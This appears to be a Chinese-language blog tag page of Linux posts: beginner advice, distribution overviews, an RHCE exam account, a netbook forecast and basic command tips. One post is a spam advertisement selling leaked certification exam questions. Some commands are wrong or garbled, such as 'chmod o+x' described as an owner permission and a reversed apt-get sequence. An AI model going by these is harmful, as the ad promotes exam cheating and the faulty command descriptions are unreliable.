标签: Linux

  • Linux系統新手學習的11點建議

    隨著Linux應用的擴展許多朋友開始接觸Linux,根據學習Windwos的經驗往往有一些茫然的感覺:不知從何處開始學起。這裡介紹學習Linux的

    一些建議。

    一、從基礎開始:常常有些朋友在Linux論壇問一些問題,不過,其中大多數的問題都是很基礎的。例如:為什麼我使用一個命令的時候,系

    統告訴我找不到該目錄,我要如何限制使用者的權限等問題,這些問題其實都不是很難的,只要了解了Linux的基礎之後,應該就可以很輕

    易的解決掉這方面的問題。而有些朋友們常常一接觸Linux就是希望構架網站,根本沒有想到要先了解一下Linux的基礎。這是相當困難的。
    二、Linux命令是必須學習雖然Linux桌面應用發展很快,但是命令在Linux中依然有很強的生命力。 Linux是一個命令行組成的操作系統,精髓

    在命令行,無論圖形界面發展到什麼水平這個原理是不會變的,Linux命令有許多強大的功能:從簡單的磁盤操作、文件存取、到進行複雜的

    多媒體圖像和流媒體文件的製作。

    舉一個例子: Linux的常用命令find,察看man文檔,初學者一定會覺得太複雜而不原意用,但是你一旦學會就愛不釋手.它的功能實在太強了,在

    配合exec參數或者通過管道重定向到xargs命令和grep命令,可以完成非常複雜的操作,如果同樣的操作用圖形界面的工具來完成,恐怕要多花十

    幾陪的時間.不同版本的Linux命令數量不一樣,這裡筆者把它們中比較重要的和使用頻率最多的命令,按照它們在系統中的作用分成幾個部

    分介紹給大家,通過這些基礎命令的學習我們可以進一步理解Linux系統:安裝和登錄命令:login、 shutdown、 halt、 reboot 、mount、

    umount 、chsh文件處理命令:file、 mkdir、 grep、dd、 find、 mv 、ls 、diff、 cat、 ln系統管理相關命令: df、 top、 free、

    quota 、at、 lp、 adduser、 groupadd kill、 crontab、 tar、 unzip、 gunzip 、last網絡操作命令:ifconfig、 ip 、ping 、

    netstat 、telnet、 ftp、 route、 rlogin rcp 、finger 、mail 、nslookup系統安全相關命令: passwd 、su、 umask 、chgrp、

    chmod、chown、chattr、sudo、 pswho

    三、選擇一本好的工具書工具書對於學習者而言是相當重要的。一本錯誤觀念的工具書卻會讓新手整個誤入歧途。目前國內關於Linux的書籍

    有很多不過精品的不多,筆者強烈建議閱讀影印本的“O’Reilly原版Linux圖書http://www.oreilly.com.cn/ ”,而且出版社還提供了一個非

    常好的路線圖:http://www.oreilly.com.cn/guide/guide_linux.php

    四、選擇一個適合你的Linux發行版本目前全球有超過1百多個Linux發行版本,在國內也能找到十幾個常見版本。如何選擇請根據你的需求和

    能力,Redhat Linux和Debian Linux是網絡管理員的理想選擇。對於英語不是很好的讀者紅旗Linux、中標Linux這些中文版本比較適合。現

    在一些Linux網站有一些Linux版本的免費下載,這裡要說的是並不適合Linux初學者。

    五、養成在命令行下工作:一定要養成在命令行下工作的習慣,要知道X-window只是運行在命令行模式下的一個應用程序。在命令行下學習

    雖然一開始進度較慢,但是熟悉後,您未來的學習之路將是以指數增加的方式增長的。從網管員來說,命令行實際上就是規則,它總是有效的

    ,同時也是靈活的。即使是通過一條緩慢的調製解調器線路,它也能操縱幾千公里以外地遠程系統。

    六、選擇一個適合你的Linux社區;隨著Linux應用的擴展,出現了不少Linux社區。其中有一些非常優秀的社區:www.linuxforum.net(國內

    最高水平GNU站點)、 http://www.chinaunix.net/ (中國最大的Unix技術社區),但是這幾個論壇往往是Linux高手的舞台,如果在探討高

    級技巧的論壇張貼非常初級的問題經常會沒有結果。還有一些非常豐富的學習資料及社區的綜合站點,如:www.xxlinux.com學習文章和資料非

    常的充足,也有社區供大家交流.初學這可以得到很大的幫助.

    七、勤於實踐:要增加自己Linux的技能,只有通過實踐來實現了。所以,趕快找一部計算機,趕快安裝一個Linux發行版本,然後進入精

    彩的Linux世界。相信對於你自己的Linux能力必然大有斬獲。此外,人腦不像計算機的硬盤一樣,除非硬盤壞掉了或者是資料被你抹掉了,

    否則儲存的資料將永遠而且立刻的記憶在硬盤中。在人類記憶的曲線中,你必須要不斷的重複練習才會將一件事情記得比較熟。同樣的,學習

    Linux也一樣,如果你無法經常學習的話,學了後面的,前面的忘了。你對Linux命令熟悉後你可以開始搭建一個小的Linux網絡,這是最好的

    實踐方法。 Linux是網絡的代名詞,Linux網絡服務功能非常強大,不論是郵件服務器、Web服務器、DNS服務器等都非常完善。當然你不需搭

    建所有服務,可以慢慢來。需要說明的是這個Linux網絡對於初學者有兩三台計算機即可,其中一台計算機最好安裝Windows系統。自己多動手

    ,不要非要等著別人幫你解決問題。

    八、如何得到聯機幫助和私有操作系統不同,各個Linux的發行版本的技術支持時間都較短,這對於Linux初學者是往往不夠的。其實當你安

    裝了一個完整的Linux系統後其中已經包含了一個強大的幫助,只是可能你還沒有發現和使用它們的技巧。
    1.主流Linux發行版都自帶非常詳細的文檔(包括手冊頁和FAQ),從系統安裝到系統安全,針對不同層次的人的詳盡文檔,仔細閱讀文檔後

    40%問題都可在此解決。

    2.查閱經典工具書和Howto,特別是Howto是全球數以萬計的Linux、Unix的經驗總結非常有參考價值通常40%的問題同樣可以解決。
    九、在Linux論壇獲取幫助如果上面的措施沒有解決問題,此時你就需要Linux社區的幫助了。 Linux的使用者一般都是專業人士,他們有著很

    好的電腦背景且願意協助他人, Linux高手更具有鼓勵新手的文化精神。如何在Linux社區獲得幫助,需要說明的是你要有周全的思考,準備

    好你的問題,不要草率的發問,否則只會得到到草率的回答或者根本得不到任何答案。越表現出在尋求幫助前為解決問題付出的努力,你越能

    得到實質性的幫助。最好先搜尋一下論壇是否有您需要的文章。這樣可以獲得事半功倍的效果。下面筆者在論壇看到的一個好問題:“安裝

    紅旗4.0後,系統紫光輸入法自帶的雙拼方案和我的習慣不一樣,如何自定義雙拼方案解決?謝謝? ”這個問題很簡練,筆者五分鐘後就給出

    了解決方法:“首先備份原文件到其他目錄,然後刪掉/usr/local/unispim/unispimsp.ksc,編輯/usr/local/unispim/unispimsp.ini ,最

    後重啟動計算機,生成新的unispimsp.ksc”另外得到回復後如果問題解決,向幫助過你的人發個說明,讓他們知道問題是怎樣解決的,這種

    補充有助於他人在郵件列表/新聞組/論壇中搜索對你有過幫助的完整解決方案,這可能對他們也很有用。下面看看一個讓人無法回答的問題:

    “救命各位高手,向你們請教一些問題:如何在Linux下配製HTTP、FTP、Samba、DNS、DHCP、 Sendmail服務器,謝謝”這樣的問題我想即使

    Linux高手也很難快速準確精練的回答你。你需要提供精確有效的信息。這並不是要求你簡單的把成噸的出錯代碼或者數據完全轉儲摘錄到你

    的提問中。如果你有龐大而復雜的測試條件,盡量把它剪裁得越小越好。可能你會遇到這種情況,對於一個問題會出現不同內容回答,這時你

    需要通過實踐來驗證。另外把這個問題放在其他Linux社區請求幫助也是一種選擇。如果得不到答案,請不要以為我們覺得無法幫助你。有時

    只是看到你問題的人不知道答案罷了。這時換一個社區是不錯的選擇。另外發問的時候一定要注意到某些禮節。因為Linux社區是一個鬆散的

    組織、也不承擔回复每個帖子的義務。它不是技術支持。

    十.用Unix思維學習Linux Linux是參照Unix思想設計的,理解掌握Linux必須按照Unix思維來進行。思想性的轉變比暫時性的技術提高更有用

    ,因為他能幫助你加快學習速度。

    十一.學習專業英文如果你想深入學習Linux,看不懂因為文檔實在是太難了。寫的最好的,最全面的文檔都是英語寫的,最先發布的技術信息也

    都是用英語寫的。即便是非英語國家的人發布技術文檔,也都首先翻譯成英語在國際學術雜誌和網絡上發表。安裝一個新的軟件時先看README,

    再看INSTALL然後看FAQ,最後才動手安裝,這樣遇到問題就知道為什麼。如果說明文檔不看,結果出了問題再去論壇來找答案反而浪費時間。 11

    .最後是Linux學習的路線圖:

    1.掌握至少50個以上的常用命令。
    2.熟悉Gnome/KDE等X-windows桌面環境操作。
    3.掌握.tgz、.rpm等軟件包的常用安裝方法
    4.學習添加外設,安裝設備驅動程序(比如網卡)
    5.熟悉Grub/Lilo引導器及簡單的修復操作。
    6.熟悉Linux文件系統和目錄結構。
    7.掌握vi,gcc,gdb等常用編輯器,編譯器,調試器。
    8.理解shell別名、管道、I/O重定向、輸入和輸出以及shell腳本編程。
    9.學習Linux環境下的組網。
        以上是筆者學習Linux一些經驗,希望對你有些幫助。

  • 平價出售各類考試題庫下载(電腦認證考古題)

    killtest題庫是台灣最大供應商,目前擁有BEA, CIW, COMPTIA, Cisco, Citrix, DatabaseEMC, HP, Huawei, IBM, ITIL, Introduction, LPI, Linux, MCPD, Microsoft, News, Nortel, Oracle, SUN, Symantec

    等國際認證考題,考試考古題由“KillTest認證題庫網”資深IT認證講師和產品專家結合Prometric或VUE的真實考試環境最新原題精心打造。killtest題庫助您一次輕鬆通過考試。

    本站所售考古題含蓋了當前最新的真實考題,並且全部附有正確答案,我們承諾對考試原題完整覆蓋。如果您正在準備參加考試,它將是最佳的學習助手,是您通過考試取得證照的捷徑。

    下载地址所有考試題庫  (無法打開請升級office2007)

  • Linux各種版本簡介

    RedHat
    作為全球領先的開放源碼和Linux供應商,紅帽公司為企業、政府和組織提供高質量、低成本的Linux系統及開放源碼解決方案。和戰略夥伴緊密合作,提供從操作系統、應用程序到系統管理的一攬子解決方案,同時也提供及時支持、培訓和專業的咨詢服務,並為客戶提供基於Linux和開放源碼的長期的信息化規劃。Red Hat最早由Bob Young和Marc Ewing在1995年創建。公司在開始真正步入盈利時代,歸功於收費的Red Hat Enterprise Linux(RHEL,Red Hat的企業版)。而正統的Red Hat版本早已停止技術支持,最後一版是Red Hat 9.0。於是,目前Red Hat分為兩個系列:由Red Hat公司提供收費技術支持和更新的Red Hat Enterprise Linux,以及由社區開發的免費的Fedora Core。Fedora Core 1發佈於2003年年末,而FC的定位便是桌面用戶。FC提供了最新的軟件包,同時,它的版本更新週期也非常短.

    SUSE
    SUSE是德國最著名的Linux發行版,在全世界範圍中也享有較高的聲譽。SUSE自主開發的軟件包管理系統YaST也大受好評。2003年年末被Novell收購。SUSE之後的發佈顯得比較混亂,比如9.0版本是收費的,而10.0版本又免費發佈。這使得一部分用戶感到困惑,也轉而使用其它發行版本。但是,瑕不掩瑜,SUSE仍然是一個非常專業、優秀的發行版。

    Debian GNU/Linux
    Debian是菜鳥油服務器之前所採用的操作系統。Debian最早由Ian Murdock於1993年創建。可以算是迄今為止,最遵循GNU規範的Linux系統。Debian系統分為三個版本分支(branch): stable, testing 和 unstable。截至2005年5月,這三個版本分支分別對應的具體版本為:Woody, Sarge 和 Sid。其中,unstable為最新的測試版本,其中包括最新的軟件包,但是也有相對較多的bug,適合桌面用戶。testing的版本都經過 unstable中的測試,相對較為穩定,也支持了不少新技術(比如SMP等)。而Woody一般只用於服務器,上面的軟件包大部分都比較過時,但是穩定和安全性都非常的高。dpkg是Debian系列特有的軟件包管理工具,它被譽為所有Linux軟件包管理工具(比如RPM)最強大的!配合apt- get,在Debian上安裝、升級、刪除和管理軟件變得異常容易。只要簡單得敲一下」apt-get upgrade && apt-get update」,機器上所有的軟件就會自動更新了……

    Ubuntu
    Ubuntu就是一個擁有Debian所有的優點,以及自己所加強的優點的近乎完美的Linux操作系統。Smile Ubuntu是一個相對較新的發行版,它的出現可能改變了許多潛在用戶對Linux的看法。從前人們會認為Linux難以安裝、難以使用,Ubuntu出現後,這些都成為了歷史。Ubuntu基於Debian Sid,所以這也就是筆者所說的,Ubuntu擁有Debian的所有優點,包括apt-get。Ubuntu默認採用的GNOME桌面系統也將Ubuntu的界面裝飾的簡易而不失華麗。當然,如果你是一個KDE的擁護者的話,Kubuntu同樣適合你!Ubuntu的安裝非常的人性化,只要按照提示一步一步進行,安裝和Windows同樣簡便!Ubuntu被譽為對硬件支持最好最全面的 Linux發行版之一,許多在其他發行版上無法使用,或者默認配置時無法使用的硬件,在Ubuntu上輕鬆搞定。並且,Ubuntu採用自行加強的內核(kernel),安全性方面更上一層樓。並且,Ubuntu默認不能直接root登陸,必須從第一個創建的用戶通過su或sudo來獲取root權限。Ubuntu的版本週期為六個月,彌補了Debian更新緩慢的不足。

    Slackware
    Slackware由Patrick Volkerding創建於1992年。算起來應當是歷史最悠久的Linux發行版。曾經Slackware非常的流行,但是當Linux越來越普及,用戶的技術層面越來越廣(更多的新手)後,Slackware漸漸的被新來的人們所遺忘。在其他主流發行版強調易用性的時候,Slackware依然固執的追求最原始的效率——所有的配置均還是要通過配置文件來進行。儘管如此,Slackware仍然深入人心(大部分都是比較有經驗的Linux老手)。Slackware穩定、安全,所以仍然有大批的忠實用戶。由於Slackware盡量採用原版的軟件包而不進行任何修改,所以製造新bug的幾率便低了很多。Slackware的版本更新週期較長(大約1年),但是新版本的軟件仍然不間斷的提供給用戶下載。

    Knoppix
    由德國的Klaus Knopper開發的Knoppix,是一個基於Debian的發行版。Knoppix嚴格算起來是一款LiveCD Linux,所謂的LiveCD就是整個操作系統都在一張光盤上,只要開機從光盤啟動,就能擁有一個完整的Linux系統!無需安裝!當然, Knoppix也能夠非常輕鬆的安裝到硬盤上。其強大的硬件檢測能力、系統修復能力、即時壓縮傳輸技術,都令人大加稱讚。可以說,在LiveCD界, Knoppix是無人能及的!

    MEPIS
    MEPIS由Warren Woodford在2003年建立。MEPIS雖然剛建立不久,但是迅速的傳播在Linux用戶間。簡單來說,MEPIS是一個集合了Debian Sid和Knoppix的產物。用戶即能將之當作LiveCD使用,也能使用常規的圖形界面進行安裝。MEPIS默認集成安裝了Java Runtime Environment、Flash插件、nVidia加速驅動等許多常用的程序。用戶可以非常輕鬆的安裝完系統後就直接開始使用,而不用到處尋找資料如何下載、如何安裝、如何配置這些軟件。這不僅給Linux新手帶來了便捷,也給老手們節約了相當多的時間。

    Xandros
    Xandros建立在已經成為歷史的Corel Linux之上。當初Corel Linux的公司由於財政上的困難,被迫終止了Corel Linux的開發,而Xandros適時的將Corel Linux部門買下,於2002年10月推出全新的Xandros Desktop。Xandros的賣點在於極其簡單的安裝和使用,所以它的市場定位是那些沒有任何Linux使用經驗的新手,或是習慣使用Windows的用戶。Xandros的標準版和增強版都是商業軟件,分別售價$40和$99美元。不過你仍然可以在這裡下載到免費的公開發行版。

    FreeBSD
    首先要強調的是:FreeBSD不是一個Linux系統!可是,為什麼筆者要介紹FreeBSD呢?因為FreeBSD的用戶也相當多,其許多特性都與Linux相類似。事實上,Linux和BSD (Berkeley Software Distribution)均是UNIX的演化分支。並且,Linux中相當多的特性和功能(比如用於配置DNS的Bind軟件)都是取自於BSD的。而 FreeBSD便是BSD家族中最出名,用戶數量最多的一個發行版。MEZOC之前所採用的便是FreeBSD系統。FreeBSD建立於1993年,擁有相當長的歷史。FreeBSD擁有兩個分支:stable和current。顧名思義,stable是穩定版,而current則是添加了新技術的測試版。另外,FreeBSD會不定期的發佈新的版本,稱為RELEASE,stable和current均有自己的RELEASE版本。比如4.11-RELEASE和5.3-RELEASE,請注意,這並不代表後者比前者的版本新。這僅僅代表前者(數字小的版本)是stable版本,後者(數字大的版本)是current版本。FreeBSD除了作為服務器系統外,也適合桌面用戶。不過,考慮到軟件方面的兼容性,一般用戶選擇FreeBSD作為桌面系統不是很明智。作為服務器而言,FreeBSD是相當優秀的。曾經有人說過,同樣的服務器硬件配置,運行同樣的一個vBulletin論壇,FreeBSD所用的資源要比 Linux少。這也是為什麼許多空間商極力推崇FreeBSD的原因。Smile

    TurboLinux
    TurboLinux是拓林思公司最近發行的linux版本,已在日本和中國取得了巨大的成功,在美國也有一定的業績。由Pacific HiTech公司發展的套件,該套件在日本市場佔有一席之地,從安裝到使用接口都是日文的,在國內它與清華大學及研究機構合作研發了中文版本,在國內造成了一股Linux潮流,目前已推出7.0的簡體版本,8.0的日文版本。

    Red Flag  紅旗
    在紅旗軟件的倡導下,由亞洲最強的Linux廠商共同創立的企業級操作系統品牌—Asianux於2004年發佈。基於這個全球領先技術的平台,紅旗軟件不斷進行創新,將Linux的穩定性、安全性和易用性推向新的高度,帶來符合中國乃至亞洲市場需求的產品,讓更多的用戶受益於開放系統的強大優勢。同時,作為Asianux的領導者,紅旗軟件的優勢技術源源不斷地通過這個平台貢獻於開源社區和中國軟件產業。擁有廣闊前景的技術服務是Linux市場的活力之源,服務的標準與價值正在促進產業的健康發展。紅旗軟件熟知中國用戶的需求,並能為之全面提供本地化的、有針對性的Linux技術支持服務和培訓。紅旗軟件擁有亞洲最專業的Linux技術支持中心、覆蓋面最廣的全國性服務培訓網絡,以及具備專業技術和豐富經驗的專家團隊,為各行業的關鍵應用客戶提供一流的服務。此外,紅旗軟件的培訓體系已經培養出數千名認證工程師和產品應用專家,他們活躍在Linux應用的第一線,不斷推動著產業鏈條的發展。

    OpenLinux
      這是由Caldera公司推出的版本,並不是很「Open」的一個版本,網上可以下載其Lite版本, 但正式版本是要money的,因為整個套件中有許多商用軟件,所以並沒有提供網絡下載的服務。

    BluePoint Linux
      我覺得是這做得最成功的一款中文Linux發行版,說蹌裡話,藍點還是挺有創新,挺挖得深的一個Linux廠商。但是其穩定性不是太好,我覺得適於桌面,不適於做務器。不過藍點不再出新版本了,目前的版本為BluePoint 2.0  
     
    Mandriva
    Mandriva原名Mandrake,最早由Gal Duval創建並在1998年7月發佈。記得前兩年國內剛開始普及Linux時,Mandrake非常流行。說起Mandrake的歷史,其實最早 Mandrake的開發者是基於Redhat進行開發的。Redhat默認採用GNOME桌面系統,而Mandrake將之改為KDE。而由於當時的 Linux普遍比較難安裝,不適合第一次接觸Linux的新手,所以Mandrake還簡化了安裝系統。我想這也是當時Mandrake在國內如此紅火的原因之一。Mandrake在易用性方面的確是下了不少功夫,包括默認情況下的硬件檢測等。Mandrake的開發完全透明化,包括「cooker」。當系統有了新的測試版本後,便可以在cooker上找到。之前Mandrake的新版本的發佈速度很快,但從9.0之後便開始減緩。估計是希望能夠延長版本的生命力以確保穩定和安全性。

    下面給為選擇一個Linux發行版本犯愁的朋友一些建議:
    1.如果你只是需要一個桌面系統,而且既不想使用盜版,又不想花大量的錢購買商業軟件,那麼你就需要一款適合桌面使用的Linux發行版本了,如果你不想自己定制任何東西,不想在系統上浪費太多時間,那麼很簡單,你就根據自己的愛好在ubuntu、kubuntu以及xubuntu中選一款吧,三者的區別僅僅是桌面程序的不一樣。
    2.如果你需要一個桌面系統,而且還想非常靈活的定制自己的Linux系統,想讓自己的機器跑得更快,不介意在Linux系統安裝方面浪費一點時間,那麼你的唯一選擇就是Gentoo,盡情享受Gentoo帶來的自由快感吧!
    3.如果你需要的是一個服務器系統,而且你已經非常厭煩各種Linux的配置,只是想要一個比較穩定的服務器系統而已,那麼你最好的選擇就是CentOS了,安裝完成後,經過簡單的配置就能提供非常穩定的服務了。
    4.如果你需要的是一個堅如磐石的非常穩定的服務器系統,那麼你的唯一選擇就是FreeBSD。
    5.如果你需要一個穩定的服務器系統,而且想深入摸索一下Linux的各個方面的知識,想自己定制許多內容,那麼我推薦你使用Gentoo。
    6.RedHatLinux與其他兩套最常見的Linux版本相比,是初學者的最佳選擇,對於初次接觸Linux的用戶來說,RedHat可以讓用戶很快享受到Linux的強大功能而免去繁瑣的安裝與設置工作。

  • RHCE實戰詳細經驗

    RedHat認證工程師(RHCE)RHCE是RedHat公司授權的認證,為學習Linux技術者提供多樣選擇。在各家國際性的技術認證制度當中,RHCE認證最大的不同及其價值在於強調受測考生實際動手的測驗方式。
    適合人員:沒有Linux或UNIX命令使用經驗,但是想進一步了解如何使用和優化計算機上的RedHatLinux的學習者。

    就業分析:RedHat公司是目前最大的Linux軟件產品供應服務商,由於這項認證具有很高的測試應試者實際技能的水平,因而使其成為一個很難獲得的認證,它的持有者會對自己的就業前景充滿信心。 RHCE的難度可算是最高,因為在很多人的心目中,RHCE是繼CCIE之後另一張最難考取的專業證書。

    為什麼要得到它是那麼困難?當然是要通過RHCE的LabTest測驗部份,除此之外,其考試費亦相當昂貴,每一次參加RHCE的考試費為港幣$5000,相當於人民幣5300元左右,如果一次過合格就當然值得高興,但如果失敗的話……就要多付昂貴費用再考第二次,尤其是以RHCE的首次考試合格率只有30%,需要考第二次才可通過RHCE LabTest,絕對不是一件出奇的事。所以我們工作室今次為大家講講有關RHCE Lab Test的考試過程和個中技巧,希望能幫助各位考取屬於你自己的RHCE證書。
    RHCE和其它MCSE、CCNA等證書有些不同,分別在於它不單只利用多項選擇題測驗考生對RedHat Linux的熟悉程度,而且還須要通過一個長達一日的實習試,當中包括RedHat Linux的安裝設定以及疑難排解(Troubleshooting)部份。報考RHCE的方法亦和MCSE及CCNA等考試有點不同,它並不是向Prometric或VUE登記報考,所有RHCE考試均是由RedHat自己安排及統籌,而考試時間亦是由它們決定。通常RHCE的考試是每月舉行一次至兩次,考試地點沒有固定。而考試時間是早上9:30至下午5:30,如果要考RHCE的話,真的要向公司請假才行。
     
    整個報名過程由於RHCE是由RedHat自己負責登記報名程序,所以你首先要在RedHat的網頁下載表格,填妥後再傳真至RedHat的香港辦事處,經過確認後他們便會發出電郵通知你有關考試細節,包括地點,時間等。你只須要在考試當日到指定試場報到便可。記得我考RHCE的時候,那天早上9:30到達試場,同一時間還有六至七人在門外等候,大家的心情都非常緊張,從言語交談中都知道大部份考生都是第一次參加RHCE考試,我們各人都不知一陣會發生甚麼事。就在這個時候,有一個人從試場中走出來,原來他就是今次考試的主考官RHCX,他吩咐我們進入試場,然後編排我們各人坐的位置,而每個人的面前都有一部計算機,以及一套RedHat Linux光盤,那時候望著那套RedHat光盤,真的是有點兒怕呢。
    考試開始的第一部份,便是疑難排解(Troubleshooting),這個部份共有四條試題,必須在兩個半小時內完成,在未正式開始之前,主考官會派發一隻Linux KickStart磁盤用作Boot機之用,然後再派一份試卷給我們,並吩咐我們在這份試卷上填上姓名等資料後,考試便正式開始。 Troubleshooting的試題不是印在試卷上,而是在計算機上,試卷的用途只是用來把你完成每條題目之後,在這裡寫上有關你對這條試題內容,以及寫上你解決這條問題的方法和過程的簡述。
     
    開始第一條試題的方法便是利用那隻KickStart磁盤放入計算機Boot機,然後計算機便會自動從Server下載RedHat的安裝程序到考生的計算機上,整個過程沒有太多東西需要設定,一切讓計算機自動安裝完便可以。由於這個安裝程序不會裝太多
    Packages在計算機上,通常10-15分鐘便可裝完整部計算機,完成後便可以Reboot,但是Reboot之後……問題就來了,計算機並不能正常激活進入Shell Prompt或X Window,而考試要求就是要你能夠解決這個問題,將計算機回復正常。其實所謂開機有問題,原因是你在安裝RedHat Linux過程中,Server在背後已偷偷做了手腳,令你的計算機出現問題,通常都是修改了系統背後的某些設定檔(Config File)所引致,才會令你無法正常開機。其實只要知道問題所在,然後利用RedHatLinux CD-ROM激活計算機,然後進入Rescue Mode,尋找有關設定檔修正過後,再Save andReboot,如果問題已經解決,便算是順利過關,當然最好經過再三的確認後,然後就可以舉手示意,主考官便會走到你身邊檢查你的計算機,他會重新再Reboot你的計算機一次,確定整個Bootup過程沒有問題,而且可以順利進入X Windows,他便會在試卷上給予分數並且簽署。這時候你便可以鬆一口氣,但是仍然有三條試題等著你去解決。這時候就可以用KickStart磁盤再激活計算機,繼續安裝一個“有問題”的Linux,繼續解決下一個問題。  
    如果完成全部四條試題,而又能夠一一解決的話,就恭喜你,在這部份你便可以拿取100%的分數,但如果你只答對三題的話,就要小心一些,因為你只得75分,而RHCE的總合格平均分數不可低過80%,所以在這部分可算是低於平均分數,唯一方法就是在其餘兩部分爭取失去的5%分數。完成整個Troubleshooting考試,時間已經是下午的1:00左右,這時候亦是午飯時間,通常會有一小時的Lunch Time,主考官亦會說明下一部份的考試開始時間。而我現在就給你一星期時間,下期再為大家講講RHCE的其餘兩個考試部份,分別為多項選擇題(MultipleChoice)以及安裝設定(Linux Server Installation)部份。
  • 2009年將是Linux變革之年

     當軟件變得越來越以網絡為中心,硬件設備也越來越便宜的時候,2009年,linux操作系統將迎來新的發展機遇。

    Linux變革最大的催化劑將是netbooks:Gartner已經做出預測:明年將售出的這種小型電腦大概將約800萬台,到2012年,這一數字將上升到5000萬(沒錯,是5000萬!)。目前,許多netbooks預裝的操作系統是Windows XP,但微軟已經明確地設置了XP安裝的最後期限為2010年6月。由於大多數計劃生產的機器以低能耗芯片如Intel的Atom和其他廉價的部分構成,而且售價低於500美元,所以,Windows Vista不可能成為netbooks的操作系統選擇,因為這樣的預裝費會很高,而且由於軟件自身過於龐大,用於低端硬件的話能耗就更高了。

         Windows的構架方式同樣是netbook型電腦的桎桍。 Windows被設計用來迅速方便地索引、瀏覽和執行本地文件——這些任務對於面向網絡的netbooks幾乎毫無意義。並且經過適當的配置,Windows能夠處理多媒體,而netbooks卻沒有處理多媒體的硬件,只有小容量硬盤,沒有光驅,而且功能不佳的視頻卡還意味著:從一開始,DVD和音樂確實就不是netbooks的必要功能。配置較低的netbooks真正想要的是,把它連接到無所不能的雲(計算)——其它的一切只是沉重的負擔。

        在這種形式下,運營Ubuntu Linux發行版的機構Canonical Limited公司已經與處理器製造商ARM合作設計一款專門面向netbooks的Linux版本,這件事也沒有什麼值得驚奇的了。 ARM設計了Google的開源智能手機——G1內部的處理器,並有傳聞說,ARM主導的Apple netbook正在研發中。現有的Linux版本通常能夠很好地運行在大多數netbooks上,不過,它們並非真正設計為網絡專用。通常只是極其簡陋的桌面操作系統,而且接口過分簡單。就這點而論,它們往往使消費者感到厭煩,因此,退回的基於Linux的電腦常常是Windows機器的4或5倍。 arm和Canonical想要消除消費者的這種苦惱,但要這樣做,勢必需要一個簡潔、易於理解和使用並且十分悅目的Linux版本。

        為了避開Windows的高費用和臃腫,手持設備也轉向開源解決方案。 Palm不久前已經暗示,它將在09年初舉行的Consumer Electronics Show上發布一個新平台,努力奪回與RIM和蘋果競爭的優勢,後兩者分別是BlackBerry和iPhone 3G的製造商。在過去,Palm公司使用其自有的Palm OS以及Windows Mobile操作系統,不過,Palm OS極度需要更好的網絡集成,而在Palm智能手機損失市場份額(該設備生產商上個季度虧損4100萬美元)的情況下,Windows Mobile只充當臨時替代品。分析家全面預測,源自設備製造商的一些基於Linux的裝置將出現在一月份。

  • Linux技巧集

    改變文件或目錄之讀、寫、執行之允許權
    ====================================
    執行格式:chmod [-R] mode name ( name可為文件名或目錄名;mode可為3個8位元之數字,或利用ls -l命令,列出文件或目錄之讀、寫、執行允許權之文字縮寫。)
    mode : rwx rwx rwx r:read w:write x:execute(user group other縮寫為: ugo)
    Example :
    % chmod 755 dir1將目錄dir1,設定成任何使用者,皆有讀取及執行之權利,但只有擁有者可做修改。
    % chmod 700 file1將文件file1,設定只有擁有者可以讀、寫和執行。
    % chmod o+x file2將文件file2,增加擁有者可以執行之權利。
    % chmod g+x file3將文件file3,增加群組使用者可執行之權利。
    % chmod or file4將文件file4,除去其它使用者可讀取之權利。
    改變文件或目錄之擁有權
    ======================
    執行格式:chown [-R] username name ( name可為文件名或目錄名。)
    Example :
    % chown user file1將文件file1之擁有權,改為使用者user所有。
    % chown -R user dir1將目錄dir1,及其下所有文件和子目錄之擁有權,改為使用者user所有。
    檢查自己所屬之群組名稱
    ======================
    執行格式:groups
    Example :
    % groups
    改變文件或目錄之群組擁有權
    ==========================
    執行格式:chgrp [-R] groupname name ( name可為文件名或目錄名)
    Example :
    % chgrp vlsi file1將文件file1之群組擁有權,改為vlsi群組。
    % chgrp -R image dir1將目錄dir1,及其下所有文件和子目錄,改為image群組。
    改變文件或目錄之最後修改時間(變為當前時間)
    =========================================
    執行格式:touch name ( name可為文件或目錄名稱。)
    Example :
    % touch file1
    % touch dir1
    文件之連結
    ==========
    同一文件,可擁有一個以上之名稱,可將文件做數個連結。
    執行格式:ln oldname newname ( Hard link )
    Example :
    % ln file1 file2將名稱file2,連結至文件file1。
    執行格式:ln -s oldname newname ( Symblick link )
    Example :
    % ln -s file3 file4將名稱file4,連結至文件file3。
    文件之字串找尋
    ==============
    執行格式:grep string file
    Example :
    % grep abc file1尋找文件file1中,列出字串abc所在之整行文字內容。
    找尋文件或命令之路徑
    ====================
    執行格式:whereis command (顯示命令之路徑。)
    執行格式:which command (顯示命令之路徑,及使用者所定義之別)
    執行格式:whatis command (顯示命令功能之摘要。)
    執行格式:find search-path -name filename -print (搜尋指定路徑下,某文件之路徑)
    Example :
    % find / -name file1 -print (自根目錄下,尋找文件名為file1之路徑)
    比較文件或目錄之內容
    ====================
    執行格式:diff [-r] name1 name2 ( name1 name2可同時為文件名,或目錄名稱)
    Example :
    % diff file1 file2比較文件file1與file2內,各行之不同處。
    % diff -r dir1 dir2比較目錄dir1與dir2內,各文件之不同處。
    如何實現為一個網卡綁定多個IP地址?
    ====================================
    Linux的網絡設備配置文件存放在/etc/sysconfig/network-scripts裡面,對於以太網的第一個網絡設備,配置文件名一般為ifcfg-eth0如果需要為第一個網絡設備綁定多一個IP地址,只需要在/etc/sysconfig/network-scripts目錄裡面創建一個名為ifcfg-eth0:0的文件,內容樣例為:
    DEVICE=”eth0:0″
    IPADDR=”211.100.10.119″
    NETMASK=”255.255.255.0″
    ONBOOT=”yes”
    其中的DEVICE為設備的名稱,IPADDR為此設備的IP地址,NETMASK為子網掩碼,ONBOOT表示在系統啟動時自動啟動。
    如果需要再綁定多一個IP地址,只需要把文件名和文件內的DEVICE中的eth0:x加一即可。 LINUX最多可以支持255個IP別名。
    如何設置login後歡迎信息
    ====================================
    修改/etc/motd,往裡面寫入文本,就能使用戶通過telnet正確登錄後執行shell之前得到相應的提示信息。
    motd就是“messages of the day”,也就是當日信息的意思。管理員可以往裡面寫一些需要注意的事項或者通知等來提醒正式用戶。
    如何設置login前歡迎界面
    ====================================
    修改/etc/issue或者issue.net,往裡面寫入文本,就能使得用戶在login前得到相應的提示,這將有助於用戶分辨自己正在連接哪裡的主機。
    issue的內容是出現在本機登錄的用戶界面上,而issue.net則是在用戶通過網絡telnet的時候出現。
    如何在bash下快速執行某個特定歷史命令
    ====================================
    在bash下面按ctrl+r可以查找歷史命令中匹配的命令並執行
    如何查看進程繼承關係
    ====================================
    直接在命令行中輸入
    pstree
    即可,程序會以樹狀結構方式列出系統中正在運行的各進程之間的繼承關係。
